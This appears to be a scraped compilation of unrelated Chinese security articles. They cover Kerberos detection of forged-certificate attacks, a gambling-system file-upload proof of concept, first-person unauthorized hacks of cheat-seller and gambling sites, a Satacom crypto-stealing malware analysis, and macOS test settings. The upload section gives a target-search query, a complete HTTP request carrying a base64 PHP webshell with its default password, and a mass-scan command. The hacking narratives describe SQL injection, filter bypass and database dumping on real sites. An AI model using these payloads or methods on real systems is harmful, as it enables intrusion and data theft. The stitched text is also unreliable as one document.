為方便起見，我們將在ELK集群的Kibana接口中處理所有事件。默認情況下，Logstash實際上知道如何將Event 4768的位字段轉換為列表中特定於票證的值數組，這也使得搜索更快更順暢。我們建議你參考官方的WinLogBeat設置指南，使用一組Docker配置來快速啟動和運行你的ELK實驗室。

在測試環境中，我們基於使用Whisker生成的偽造證書創建了幾個TGT請求事件。下面是這些事件在測試環境中的示例：

6.png

在MDR服務的框架內，研究人員每週觀察到數十萬個基於證書的票證請求事件。研究人員可以依據這些樣本，分析出一些攻擊模式：

攻擊的很大一部分是由Microsoft Azure Active Directory的基於證書的票證請求組成的（下圖中聚合的“Azure”行）。不過這些都不重要，可以使用Kibana接口中具有CertIssuerName字段值的正則表達式輕鬆地過濾它們。

7.png

還有許多事件用於Microsoft Hello For Business證書(“Hello4B self gen”行)使用的證書。在這種情況下，將證書數據寫入msDS-KeyCredentialLink屬性，並以編程方式生成密鑰(NCRYPT_IMPL_SOFTWARE_FLAG)。它們通常有一個以“CN=”開頭的名稱和一個兩位數的序列號，通常是01。

8.png

如果計算機有一個存儲在受信任的平台模塊中的密鑰（“TPM註冊”行），那麼使用該密鑰的證書也可以用正則表達式來描述，因此我們對此不感興趣。

9.png

但最常見的情況可能是使用Microsoft證書頒發機構頒發的證書（“Windows服務器CS角色頒發”行）。可以在運行Microsoft Windows服務器版本的計算機上啟用此服務。值得注意的是，如果你自己監控本地基礎設施，並且不是MSSP，你會發現通過CertIssuerName值過濾掉這種情況要容易得多——您的CA服務器的名稱(很可能是林中每個域的唯一名稱)。實際上，即使是大型公司網絡也只有相當少的CA能夠頒發證書。但是，即使你是一個MSSP，為了過濾掉所有客戶端PKI服務器的名稱仍然不會有太大麻煩。現在來看其他領域的一些模式。

10.png

此時，也可能存在第三方PKI實現，其證書在頒發票證時受到Kerberos服務器的信任。例如，監控時遇到了Lanaco公司開發的專業軟件。

使用真實數據，讓我們看看可以過濾掉哪些查詢。為此，我們可以使用上述正則表達式構建以下聚合：

11.png

卡巴斯基MDR服務中基於證書的票證請求事件的聚合

查看“Rest”行，其中包含剩餘的未過濾事件(其中13個)，注意CertIssuerName字段。

12.png

未過濾的基於證書的票證請求事件的擴展列表

Whisker代碼分析在如上示例中，證書是在帶有默認參數的Whisker實用程序中生成的。有關生成自簽名證書的過程的描述，請參閱此處。

Whisker試圖將其證書作為Microsoft Hello For Business證書（在程序生成的情況下，是一對密鑰）。但是，原始證書(當Windows PC獨立生成證書以使用此功能時)包含一個錯誤：CertIssuerName字段中的可分辨名稱（DA）表示法使用格式“CN=…”。攻擊者的工具包沒有此錯誤，這是可疑的。

第二和第三行可以與測試台的數據進行比較，但要在MDR產品系統中進行。

13.png

我們可以直接向Kibana添加一個Painless腳本，該腳本可以查找CertIssuerName和TargetAccountName之間不區分大小寫的匹配所導致的所有4768個事件。

14.png

有10個這樣的事件，它們都與Whisker實用程序的使用有關。

15.png

使用票證標誌搜索字段現在，讓我們考慮在任意時間間隔內測試台上的事件中的winlog.event_data.TicketOptionsDescription字段，在此期間，偽造和合法的TGT請求都會發生。

16.png

引人注目的是沒有名稱規範化標誌，這在Kerberos基礎設施中起著重要作用。問題是服務或帳戶可以有多個主名稱。例如，如果一台主機有多個名稱，那麼基於它的服務可能有多個服務主體名稱(Service Principal names, spn)。為了使客戶機不必為每個名稱請求票證，KDC可以在憑據檢索過程中向它提供映射信息。啟用名稱規範化標誌時請求此功能。理論上講，如果設置了“canonicalize”選項，KDC可以在響應和TGT中修改客戶端和服務器的名稱和SPN。但在發現的示例中，卻沒有類似標識，這很可疑。讓我們找到所有使用PKINIT(基於證書)請求但卻沒有此標識的票證。以下是研究人員根據卡巴斯基MDR產品數據創建的請求。

17.png

以上是Whisker + Rubeus在測試台(AD-Gam主機)上的活動(過去30天)以及在測試ADCS設置中的一組漏洞時所做的工作，我們將其合併為ADCS ESC或Certified Pre-Owned。此外，還有一個通過證書名稱過濾的誤報和一個發送到客戶端的事件。

讓我們看看Rubeus的例子，看看為什麼在票證請求中沒有設置名稱規範化標誌。

18.png

事實證明，Rubeus並不是故意進行這個操作的。同樣地，對於使用Kerberos的安全分析人員來說，Impacket是事實上的標準工具包。這就解釋了為什麼會出現上述可以現象。由於代碼的簡單性和流行性，這樣的實用程序非常多。

msDS-KeyCredentialLink屬性我們可以比較兩個屬性：一個是在Hello for Business配置期間合法設置的，另一個是由Whisker設置的。他們之間是有區別的。在比較這些屬性時，研究人員編寫了一個工具，可以讓你從非法屬性設置中找到該工件。

你可以在開發環境中下載並使用此實用程序，調試時，嘗試查找並比較“好”和“壞”屬性中的關鍵差異。

注意事項：

1.msDS-KeyCredentialLink屬性是否具有DeviceId（GUID格式）？如果是這樣，再加上域中沒有具有此ID的對象，那就很可疑了。如果存在這樣一個對象，並且它屬於Azure AD連接器，那麼這可能是一個正常情況；

2正常情況下，Flags字段不包含MFANotUsed，但在合法案件中通常是這樣；

3.KeyMaterial的長度不超過270字節；4.KeyApproximateLastLogonTimeStamp和KeyCreationTime幾乎相同。然而，這一參數不太可靠，最好不要使用。

總結上述攻擊雖然隱蔽性較強，但在使用偽造證書時可以被檢測到。通過本文介紹的基礎設施(理想情況下包括所有活動密鑰的列表)和監控將有助於安全專家進行防護。通過本文介紹的程序還能夠發現使用偽造證書的常見模式和攻擊結果，並簡化搜索過程。

HireHackking

0x01 漏洞描述

网络dubo是指通过互联网手段（非法dubo网站、菠菜App、微信群等）进行的赌博活动。由于网络dubo不合法，资金不受法律保护，有很多“出老千”的行为，很多人被骗后往往不敢报警，导致家破人亡，所以打击dubo，刻不容缓。某菠菜系统系统存在任意文件上传漏洞，攻击者通过漏洞可以上传木马文件，导致服务器失陷。

Image

0x02 漏洞复现

fofa：body="main.e5ee9b2df05fc2d310734b11cc8c911e.css"

1.执行POC，上传冰蝎马，返回上传路径

POST //statics/admin/webuploader/0.1.5/server/preview.php HTTP/2
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Mon, 05 Sep 2022 01:19:50 GMT
If-None-Match: "63154eb6-273"
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 746

data:image/php;base64,PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pg==s

Image


2.冰蝎连接，得到一个webshell

冰蝎默认连接密码：rebeyond

Image


3.nuclei批量验证脚本已发表于知识星球（存在较多资产）

nuclei.exe -t bocaijngj_upload.yaml -l subs.txt -stats

Image


转载于原文链接： https://mp.weixin.qq.com/s?__biz=MzkyMTMwNjU1Mg==&mid=2247486261&idx=1&sn=2ea324e5b3b895bd500a509bd15ae90f&chksm=c184dfe2f6f356f47a5f80d045fac890227a508488b23898482ce4f9daa91feccc54d2f83629&scene=178&cur_album_id=2581677939042598912#rd


HireHackking

逛QQ空间刷到了

图片

于是有了下文。打开站点，很贴心，前台后台都可以进。

图片

图片

下面说漏洞点

  1. sql注入，有一套程序基于某个模板二开，正好我手里有这套模板且审计过。所以轻松拿下。

    图片

    无任何过滤，直接注即可。

    图片

  2. 任意文件上传

    这个我怀疑是开发自己留的后门。

    图片

    看得懂的人一眼就看出来了。直接本地新建表单提交即可。

    但是目标站有个问题，上传不回显路径，应该是注释了echo。本地搭建测试，

    图片

    上传文件名修改为这个格式。

    思路：本地复现upload，然后和远程同时提交，同一个时间点，返回的文件名应该是一样的。

    测试:图片

    复现成功。

    图片

点到为止。

另求教各位精通php审计的大佬

图片

这段代码可否有利用点。

图片

尝试各种截断始终无法执行php代码。

  转载于原文链接： https://mp.weixin.qq.com/s/hduQd7Jm72b00oSU9Ip1BQ  
HireHackking

一、案例1

因为最近吃鸡被外挂打自闭了，所以准备也让那些卖挂的体会一下什么叫做自闭。昨天晚上爬了快1000个卖吃鸡外挂的平台

图片

你们这些卖挂的，等我有空了一个一个捶。

发现大多数都是用的一套aspx的程序，可惜没有源码不能白盒审计，黑盒也找不到什么洞

只能找找软柿子捏，昨天晚上一口气锤了四个

图片

图片

图片

基本上都有宝塔

图片

不过php-venom 4 系列加上配套的编码器过宝塔稳得一批

图片

图片

图片

脱了裤子发现里面4000+数据

图片

今天晚上又锤了一个吃鸡外挂站

可惜尴尬的是没有写入权限

写篇大水文记录一下

1. 无套路进后台

图片

这个应该算是那种推广站，里面什么都没有，只有宣传内容

管你是什么，照锤不误。

看了一下是织梦二次开发的站

后台很容易进，这里大家都明白什么意思。

图片

图片

2.玄学后台

发现后台删了很多功能，特别是织梦的坑货文件管理器

但是从经验上来说很多这种二次开发的并不是真的把编辑器删掉了，只是在后台页面不显示了。

审查元素启动

随便找个链接改一下，替换成media_main.php?dopost=filemanager

然后点击，果然找到了文件管理器页面

图片

上传shell

图片

本来以为就这样结束了

结果发现虽然提示上传成功但是啥都没有

还以为是waf，就换了人畜无害的一张jpg上去也是啥都没有

以为是目录权限问题

找到session的临时文件，上传，照样不行

图就不放了，总之就是传不上去

觉得可能是整站没写权限

随手试试删除功能，发现可以删文件

emmmmm，所以到底是有权限没有呢

一般来说没写权限的话也就没有修改权限，也就是没有删除权限

想着是不是上传功能坏了，换个方法getshell吧

3.geshell失败

首先想到的就是改文件，里面放个shell

显示csrf token不对

搜了搜怎么解决

发现是直接改check函数，第一句加上return

结果修改config.php 文件也弹这个错误

所以就陷入死循环。。。

改标签也是一样的错误。

然后试了织梦的各个0day，后台代码任意执行

提示执行成功了，但是要么404页面，要么就是csrf token报错

为啥老是csrf token检测失败，以前就没遇到过这种问题。是我操作不对吗？

如果有表哥知道为什么的话麻烦告诉我一下谢谢

4.成功getshll

本来想想算了，然后出去吃了个饭。

然后想着既然是弱口令会不会有其他人的后门呢。

就想起来织梦有个自带的后门查杀功能

同样的审查元素，找到后门查杀功能，开始扫描

果然发现可疑文件

然后一看全是其他人的后门

随便找一个，连接上去


5. 最后

发现是星外主机，并且全站没有写入权限，难怪传不上去。。。

翻了翻目录，不能跨站，没写权限，无法bypass disable function

等于是啥都没有。。。

但是神奇的是可以任意文件删除

站就不删了，保存一下证据


二、案例2

首先打开网站我们可以看到他的炫酷界面

暖心公告

不要脸的宣传词

1.发现注入

基于tp3开发,后台/admin

尝试万能密码

提示密码错误

尝试admin admin888 提示账号不存在

两者回显不同，考虑可能存在注入

2.无法利用

burp抓包发送到repeater进行进一步测试

发现条件为真时返回status: -2，条件为假时返回status: -1

进一步印证了猜想，后台存在注入

扔到sqlmap跑

无法检测出注入，提示一堆404 not found

开始以为是cdn封锁了sqlmap的流量，后来发现根本没什么防护。。。虚假的cdn

于是考虑可能是cms自身过滤了一些东西

3.绕过过滤

经过测试发现只要出现尖括号就会返回404

可以用between来绕过

这时就继续按照 条件真=>-2 条件假=>-1 来回显

也就满足了盲注的条件

忽然一想这个情景跟第五空间决赛的那道注入题一毛一样

真返回一个页面 假返回另一个页面 出现被过滤字符返回其它页面 并且要用between来绕过

CTF诚不欺我

所以只要在sqlmap的参数里加上--tamper=between 即可

4.最后

数据库里管理员密码用的aes加密，没有秘钥，无法解密。

普通用户登录口被关闭，无法注册也无法登录。

除了脱出来一堆孤儿的信息其他也没什么用

打包一下证据，全部提交有关部门



转载于原文链接： https://mp.weixin.qq.com/s/Bms1EPvpb1S7sU2KQX8ctA

HireHackking

abstract_binary_connection-1200x600.jpgSatacom下載程序，也稱為LegionLoader，是2019年出現的一個著名的惡意軟件家族。該惡意軟件利用查詢DNS服務器的技術獲取base64編碼的URL，以便接收當前由Satacom傳播的另一惡意軟件家族的下一階段。 Satacom惡意軟件通過第三方網站傳播，其中一些網站本身不提供Satacom，而是使用合法的廣告插件，攻擊者濫用這些插件將惡意廣告注入網頁。網站上的惡意鏈接或廣告將用戶重定向到惡意網站，如虛假的文件共享服務。

我們將在本文介紹最近與Satacom下載程序相關的惡意軟件傳播活動。 Satacom下載程序釋放的惡意軟件的主要目的是通過對目標加密貨幣網站進行web注入，從受害者的賬戶中竊取比特幣。該惡意軟件試圖通過為基於Chromium的網絡瀏覽器安裝擴展來實現這一點，該瀏覽器隨後與C2服務器通信，其地址存儲在比特幣交易數據中。

該惡意擴展具有各種JS腳本，用於在用戶瀏覽目標網站時執行瀏覽器操作，包括枚舉和對加密貨幣網站的操作。它還能夠操作一些電子郵件服務的外觀，如Gmail、Hotmail和雅虎，以隱藏其與電子郵件中顯示的受害者加密貨幣的活動。

Satacom技術分析最初的攻擊始於ZIP壓縮文件。它是從一個似乎模仿軟件門戶的網站下載的，該網站允許用戶免費下載他們想要的（通常是破解的）軟件。該壓縮包包含幾個合法DLL和一個惡意Setup.exe文件，用戶需要手動執行這些文件才能啟動攻擊鏈。

各種類型的網站被用來傳播惡意軟件。其中一些是帶有硬編碼下載鏈接的惡意網站，而另一些則通過合法的廣告插件注入了“下載”按鈕。在這種情況下，即使是合法的網站也可能在網頁上顯示惡意的“下載”鏈接。在撰寫本文時，我們看到QUADS插件被濫用來傳播Satacom。

1.png

帶有嵌入式QUADS廣告插件的網站

該插件被濫用的方式與其他廣告網絡被濫用惡意廣告的方式相同：攻擊者推廣看起來像“下載”按鈕的廣告，並將用戶重定向到攻擊者的網站。

2.png

WP QUADS廣告插件內的網站的內容

用戶點擊下載按鈕或鏈接後，會有一系列重定向，自動引導他們通過各種服務器到達偽裝成文件共享服務的網站，以傳播惡意軟件。在下面的截屏中，我們可以看到作為重定向鏈最終目的地的網站示例。

3.png

虛假“文件共享”服務

用戶下載並提取大約7MB大小的ZIP文件後，會顯示一些二進製文件、EXE和DLL文件。 DLL是合法的庫，但“Setup.exe”文件是惡意二進製文件。它大約是450MB，但是填充了大量空字節，使其更難以分析。未添加空字節的文件的原始大小約為5MB，它是一個Inno-Setup類型的文件。

4.png

添加到PE文件的空字節

Inno-Setup安裝程序通常是這樣的：在運行時，二進製文件將子安裝程序提取到一個名為“Setup.tmp”的臨時文件夾中。然後，它運行子安裝程序“Setup.tmp”文件，該文件需要與主安裝程序通信，參數指向原始“Setup.exe”及其包的位置，以便檢索用於下一步安裝的“Setup.exe”文件。

對於Satacom安裝程序來說，Setup.tmp文件一旦運行，就會在Temp目錄中創建一個新的PE DLL文件。創建DLL後，子安裝程序將其進行自我加載，並從DLL運行一個函數。

然後，它解密Satacom的有效負載，並創建一個新的“explorer.exe”子進程，以便將惡意軟件注入“explorer.exe”進程。

由此，研究人員可以得出結論，惡意軟件在遠程“explorer.exe”進程上執行一種常見的進程注入技術，稱為進程空心化（process hollowing）。這是一種用於逃避檢測的技術。

注入“explorer.exe”進程的惡意負載使用RC4加密實現來解密其配置數據，通信字符串以及受害者設備上其他釋放的二進製文件的數據，加密的數據存儲在惡意負載中。

惡意軟件在每一步都使用不同的硬編碼密鑰來解密數據。惡意軟件使用四個不同的RC4密鑰來執行其操作，首先解密HEX字符串數據，將其用於其初始通信目的。

5.png

RC4密鑰（左圖）和加密的HEX字符串（右圖）

在上面的截屏中，左側窗格將四個RC4硬編碼密鑰顯示為HEX字符串，在右側窗格中，我們可以看到使用RC4“config_strings”密鑰解密的HEX字符串以獲得用於與C2通信的第一次初始化的字符串。如果我們自己使用密鑰解密字符串，我們會得到截屏中顯示的結果。

一旦HEX字符串被解密，“explorer.exe”將啟動其第一次通信。為此，它通過Google DNS（8.8.8.8，另一個解密的字符串）執行對don-DNS[.]com（解密的HEX字符串）的DNS請求，並查詢TXT記錄。

6.png

通過谷歌在don-dns[.]com上查詢TXT記錄

一旦請求完成，DNS TXT記錄將作為另一個base64編碼的RC4加密字符串“ft/gGGt4vm96E/jp”接收。由於我們擁有所有的RC4密鑰，我們可以嘗試使用“dns_RC4_key”解密字符串，並獲得另一個URL。這個URL是有效負載的實際下載位置。

7.png

TXT記錄的解密字符串

有效負載：惡意瀏覽器擴展Satacom下載程序將各種二進製文件下載到受害者的設備上。在本次活動中，研究人員觀察到一個PowerShell腳本正在下載，該腳本安裝了一個惡意的基於Chromium的瀏覽器擴展，該擴展針對Google Chrome、Brave和Opera。

擴展安裝腳本負責從第三方網站服務器下載ZIP壓縮文件中的擴展。 PowerShell腳本將壓縮文件下載到計算機的Temp目錄，然後將其提取到Temp目錄中的文件夾中。

之後，腳本將在“桌面”、“快速啟動”和“開始菜單”等位置搜索每個目標瀏覽器的快捷方式的可能位置。它還配置瀏覽器安裝文件的位置和擴展插件在計算機上的位置。

最後，PS腳本將依次搜索上述位置的任何鏈接（.LNK）文件，並修改所有現有瀏覽器快捷方式的“Target”參數，標記為“-load extension=[pathOfExtension]”，以便快捷方式加載安裝了惡意擴展的瀏覽器。

8.png

帶有擴展參數的Chrome快捷方式

執行此操作後，腳本將關閉設備上可能運行的任何瀏覽器進程，以便受害者下次打開瀏覽器時，擴展程序將加載到瀏覽器中，並在用戶瀏覽互聯網時運行。

這種擴展安裝技術允許攻擊者在不知情的情況下將插件添加到受害者的瀏覽器中，而無需將其上傳到官方擴展商店，如Chrome商店，該商店要求插件滿足商店的要求。

9.png

擴展安裝PowerShell腳本

惡意擴展分析安裝擴展後，我們可以通過檢查存儲在擴展目錄中的特定文件來分析其功能和特性。如果我們看一下'manifest.json'文件的第一行，我們會發現擴展插件通過將插件命名為“Google Drive”來偽裝自己，所以即使用戶訪問瀏覽器插件，他們也只能看到一個名為“Google Drive”的插件，它看起來就像是安裝在瀏覽器中的另一個標準Google擴展插件。

10.png

manifest.json文件設置

當用戶瀏覽時，另一個總是在後台運行的惡意擴展文件是“background.js”，它負責初始化與C2的通信。如果我們仔細查看JavaScript代碼，我們會在腳本底部發現一個有趣的函數調用，其中包含一個字符串變量，該變量是比特幣錢包的地址。

11.png

Background.js腳本片段

查看腳本的代碼，我們可以得出結論，擴展將從硬編碼的URL中獲取另一個字符串，腳本將比特幣地址插入其中。 JavaScript接收JSON格式的數據，顯示錢包的交易活動，然後在最新的交易詳細信息中查找特定的字符串。

12.png

詳細JSON

頁面上有兩個字符串，其中包含C2地址。 “script”字符串是包含惡意軟件C2主機的HEX字符串，“addr”字符串是Base58編碼的C2地址。使用特定錢包的最後一筆加密貨幣交易來檢索C2地址的原因是，攻擊者可以隨時更改服務器地址。此外，這種技巧使禁用惡意軟件與其C2服務器的通信變得更加困難，因為禁用錢包比阻止或禁止IP或域要困難得多。如果C2服務器被阻止或關閉，攻擊者可以通過執行新事務將“script”或“addr”字符串更改為不同的C2服務器。由於擴展總是檢查這些字符串來檢索C2，因此如果它發生了更改，它總是會請求新的字符串。

13.png

從交易明細中解碼C2地址

該擴展有幾個其他腳本，它們負責初始化接收到的命令，並在檢索到C2地址後發揮作用，因為這些腳本需要從C2獲得一些重要信息。例如，C2保存比特幣地址，當比特幣從受害者的錢包轉移到攻擊者的錢包時將使用該地址。

14.png

攻擊者的比特幣錢包地址

為了獲得受害者的加密貨幣，攻擊者在目標網站上使用web注入。 web注入腳本也是C2在擴展與之聯繫後提供的。在下面的截屏中，我們可以看到來自擴展的“injections.js”腳本，它從C2服務器獲取web注入腳本。

15.png

injections.js腳本

在插件與C2服務器聯繫後，服務器會使用將在目標網站上使用的web注入腳本進行響應。

16.png

C2服務器的Webinject腳本

如果我們仔細看一下腳本，就可以看到攻擊者針對的是各種網站。在上面顯示的腳本版本中，我們可以看到它針對的是Coinbase, Bybit, KuCoin, Huobi和Binance用戶。

由於C2中的腳本可以隨時更改，攻擊者可以添加或刪除其他web注入目標，也可以開始以比特幣以外的加密貨幣為目標，這使得該擴展非常動態，並允許攻擊者通過更改腳本來控制惡意擴展。

查看腳本，我們可以看到擴展在目標網站上執行各種操作。例如，它能夠檢索受害者的地址、獲取賬戶信息、繞過2FA等等。此外，它能夠將比特幣從受害者的錢包轉移到攻擊者的錢包。

17.png

web注入腳本中的函數

查看完整的web注入腳本，我們可以得出結論，其思路是從安裝了惡意擴展的受害者那裡竊取比特幣。該擴展程序對賬戶執行各種操作，以便使用web注入腳本遠程控制賬戶，最終該擴展程序試圖將比特幣提取到攻擊者的錢包中。為了規避交易的雙因素身份驗證設置，web注入腳本使用了針對此保護技術的繞過技術。

18.png

從web注入腳本中提取比特幣函數的代碼段

在竊取加密貨幣之前，擴展程序與C2服務器進行通信，以獲得最小比特幣值。然後，它將這個值與目標錢包中的實際金額進行比較。如果錢包中包含的加密貨幣少於C2收到的最低金額，則不會從中提取任何加密貨幣。

19.png

C2的最小金額

在竊取比特幣之前，該腳本還執行其他幾項檢查。例如，它還檢查比特幣與美元的匯率。當目標錢包中的比特幣金額符合C2檢查時，腳本執行取款功能，從受害者那裡竊取比特幣。

20.png

執行餘額檢查

除了竊取比特幣之外，惡意擴展還會執行其他操作來隱藏其活動。

例如，惡意擴展包含針對三種不同電子郵件服務的腳本：Gmail、Hotmail和Yahoo，其思路是隱藏惡意擴展執行的交易的電子郵件確認。

一旦受害者到達電子郵件服務的頁面，每個腳本都會對電子郵件進行可視化更改。它搜索預定義的電子郵件標題和內容，當找到它們時，它只需通過將HTML代碼注入郵件正文來向受害者隱藏它們。因此，受害者不知道進行了將加密貨幣轉移到攻擊者錢包的特定交易。

21.png

針對Gmail的擴展JS

此外，該擴展程序可以操作目標網站的電子郵件線程。因此，如果受害者從Binance等網站打開一個線程，它可以更改電子郵件的內容，並顯示一個看起來與真實電子郵件線程完全相似的虛假電子郵件線程。它還包含所需字符串的佔位符，擴展插件可以將這些字符串注入到消息頁面的內容中。

22.png

偽造電子郵件線程模板

惡意擴展有許多其他JavaScript，它能夠執行其他操作。例如，它可以通過瀏覽器提取信息，如係統信息、cookie、瀏覽器歷史記錄、打開的選項卡的截屏，甚至可以接收來自C2服務器的命令。

23.png

JavaScript：從C2（左圖）請求命令並進行截屏（右圖）

擴展的目的是竊取比特幣並操作目標加密貨幣網站和電子郵件服務，使惡意軟件盡可能隱秘進行，這樣受害者就不會注意到任何有關欺詐交易的信息。由於用於通過特定比特幣錢包的最後一筆交易檢索C2服務器的技術，該擴展可以更新其功能，該技術可以隨時通過對該錢包進行另一筆交易來修改。這允許攻擊者將域URL更改為其他URL，以防被殺毒軟件禁止或阻止。

受害者分析此活動針對世界各地的個人用戶，根據觀察，2023年第一季度，以下國家的用戶最常被攻擊：巴西、阿爾及利亞、土耳其、越南、印度尼西亞、印度、埃及和墨西哥。

總結Satacom是一個下載程序，它仍在運行活動，並由背後的攻擊者開發。這個攻擊者繼續使用各種技術傳播惡意軟件家族，例如通過WordPress網站的廣告插件進行廣告注入。

最近傳播的惡意軟件是基於Chromium的瀏覽器的側載擴展，它在瀏覽器中執行操作，以操作目標加密貨幣網站的內容。這種惡意擴展的主要目的是從受害者那裡竊取加密貨幣，並將其轉移到攻擊者的錢包中。

此外，由於它是一個瀏覽器擴展，因此可以安裝在各種平台上基於Chromium的瀏覽器中。儘管本文中描述的惡意擴展的安裝和攻擊鍊是特定於Windows的，但如果攻擊者想要針對Linux和macOS用戶，只要受害者使用基於Chromium的瀏覽器，他們就可以很容易發起攻擊。

HireHackking

4. 管理防火牆中的外部連接macOS 具有內置防火牆，可以保護應用程序免受未經授權的互聯網訪問。它有助於阻止任何傳入連接並允許訪問您想要的應用程序。

要配置防火牆，請訪問“安全和隱私”首選項窗格中的“防火牆”選項卡：

image.png

圖21. 訪問防火牆配置

然後，單擊“防火牆選項”以配置防火牆。您可以阻止所有傳入連接，以禁止任何人或任何事物連接到macOS。這是最安全的防火牆配置，但某些應用程序在啟用後可能無法提供在線功能。

image.png

圖22. 使用防火牆阻止所有連接

您還可以選擇允許特定應用程序的傳入連接。如果您正在測試客戶端-服務器應用程序並且發現客戶端-服務器連接有任何問題，請檢查防火牆配置並嘗試將您的應用程序添加到允許列表中。

image.png

圖23. 允許通過防火牆進行特定的互聯網連接

5. 指定應用程序的隱私訪問權限某些應用程序需要訪問高級macOS 功能才能正常工作。但惡意應用程序也可能請求訪問這些功能以竊取用戶的個人數據。默認情況下，macOS 會阻止對位置服務、聯繫人、照片、麥克風、設備磁盤、屏幕錄製、藍牙和其他功能的訪問，以保護用戶免受安全威脅。

如果用戶安裝的應用程序請求訪問被阻止的功能，則用戶必須在“安全和隱私”首選項窗格的“隱私”選項卡中提供訪問權限。

image.png

圖24. 為應用程序提供對位置服務的訪問權限

當開發需要訪問敏感功能和資源的應用程序時，請確保在安裝程序中包含訪問請求。該請求可能如下所示：Please grant

6. 配置鑰匙串訪問Keychain Access 是用於密碼管理的默認macOS 應用程序，可存儲用戶的憑據，從而減少用戶必須記住的密碼數量。您可以在應用程序列表的實用程序文件夾中找到鑰匙串訪問。打開它以查找並配置任何存儲的憑據。

image.png

圖25. 訪問Keychain Access 中存儲的憑據

為了保護憑據，此應用程序使用傳輸層安全(TLS)協議和公鑰證書。讓我們來看看它們是如何工作的。

TLS 是一種加密協議，旨在保護計算機網絡中的通信。它廣泛用於使用HTTPS 的應用程序，例如電子郵件、即時消息和IP 語音。

公鑰證書包含有關公鑰、其所有者以及已驗證證書內容的實體的數字簽名的信息。如果簽名有效並且檢查證書的軟件信任頒發者，則它可以使用該密鑰與證書主體進行安全通信。

在電子郵件加密、代碼簽名和電子簽名系統中，證書的主體通常是個人或組織。在TLS 中，證書的主體通常是計算機或其他設備，儘管TLS 證書除了識別設備的核心角色之外還可以識別組織或個人。

如果您嘗試訪問任何受保護的資源，則其證書需要受到macOS 的信任。默認情況下，macOS 有一個受信任的證書列表。如果您想訪問沒有受信任證書的資源，您將看到以下消息：

image.png

圖26. 嘗試訪問沒有受信任證書的資源

只有具有相應憑據的管理員才能將資源添加到鑰匙串訪問。單擊“顯示詳細信息”，然後單擊“訪問網站”以將證書添加到“鑰匙串訪問”。

image.png

圖27. 將資源添加到鑰匙串訪問

之後，您可以打開證書詳細信息並更改證書的設置。

image.png

圖28. 配置證書設置

在開發和測試客戶端-服務器macOS 應用程序時，您需要了解如何使用鑰匙串訪問並管理其中的安全證書。如果您的應用程序在安裝過程中創建了證書，請確保執行以下操作：

當您的應用程序請求管理員訪問權限時，為您的應用程序提供所有權限，然後檢查“鑰匙串訪問”內的證書。

不提供證書安裝的管理員權限，或者不使連接受信任。檢查應用程序安裝過程和應用程序行為。您的應用程序應顯示有關證書問題的通知。此外，它還應該將有關這些問題的信息添加到應用程序日誌中。但是，它不應該崩潰。

當您將應用程序的證書設為不可信或完全刪除該證書時，請檢查應用程序的行為。

通過將macOS 中的日期更改為任何未來日期，使應用程序證書過期。檢查應用程序在這種情況下的行為方式。

請記住，鑰匙串訪問功能在不同的macOS 版本中會發生變化。例如，在macOS 10.15 及更早版本中，您可以通過以超級用戶身份執行以下腳本來使證書受信任：

image.png

在更高版本的macOS 中，您無法執行此操作。此外，在macOS 11 和12 中，即使用戶運行終端命令以使證書受信任，也需要手動批准應用程序證書。這樣做是出於安全原因：未經用戶許可，腳本無法使任何證書受信任。在這些版本的macOS 中，請使用終端命令檢查UI 和靜默安裝選項，因為您可能會在macOS 11 及更高版本上遇到靜默安裝問題。

7. 啟用遠程登錄遠程訪問macOS 允許開發人員重現並修復用戶遇到的問題。操作系統默認提供了訪問遠程系統的功能，因此您無需安裝第三方軟件。

默認情況下，所有遠程訪問功能均處於禁用狀態，但您可以在共享首選項中配置它們。啟用遠程登錄將向您顯示一條消息：

image.png

圖29. 啟用對系統的遠程訪問

使用此命令和您的密碼可以訪問其他用戶的系統。

您還可以在屏幕共享中啟用虛擬網絡計算(VNC) 訪問，這將允許您共享屏幕。當您啟用此功能時，您將看到類似的消息：

image.png

圖30. 通過VNC 服務啟用遠程訪問

請注意，要啟動屏幕共享，您需要打開計算機設置並設置用於訪問系統的密碼。

您可以在遠程管理服務中啟用Apple 遠程桌面。它使您能夠遠程執行任何腳本並使用所有終端功能。您可以從任何操作系統通過Apple Remote Desktop 連接到另一台設備。 Apple 遠程桌面是在互聯網連接速度較慢時建立遠程連接的最佳方式，因為它不加載macOS GUI。

VNC 服務為您提供與macOS GUI 的遠程連接。作為開發人員或QA 工程師，您可以使用VNC 在另一台具有不同macOS 版本的Mac 設備上測試您的應用程序。您還可以連接到最終用戶的macOS 設備並調試應用程序的任何問題。

image.png

圖31. 啟用Apple 遠程桌面

